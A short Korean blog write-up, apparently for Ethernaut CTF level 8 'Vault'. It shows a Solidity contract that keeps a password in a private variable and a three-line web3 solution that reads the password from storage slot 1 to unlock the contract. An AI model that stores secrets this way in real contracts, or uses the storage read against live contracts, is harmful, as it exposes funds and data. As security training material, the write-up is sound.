블록체인/Ethernaut
[Ethernaut] 8. Vault
dev_dean
2022. 6. 1. 10:43
소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
목표
unlock the contract.
방법
let pwd
web3.eth.getStorageAt(await contract.address, 1, function(err, result) {pwd = result})
await contract.unlock(pwd)
private 선언을 한다고 안전한 것은 아니다.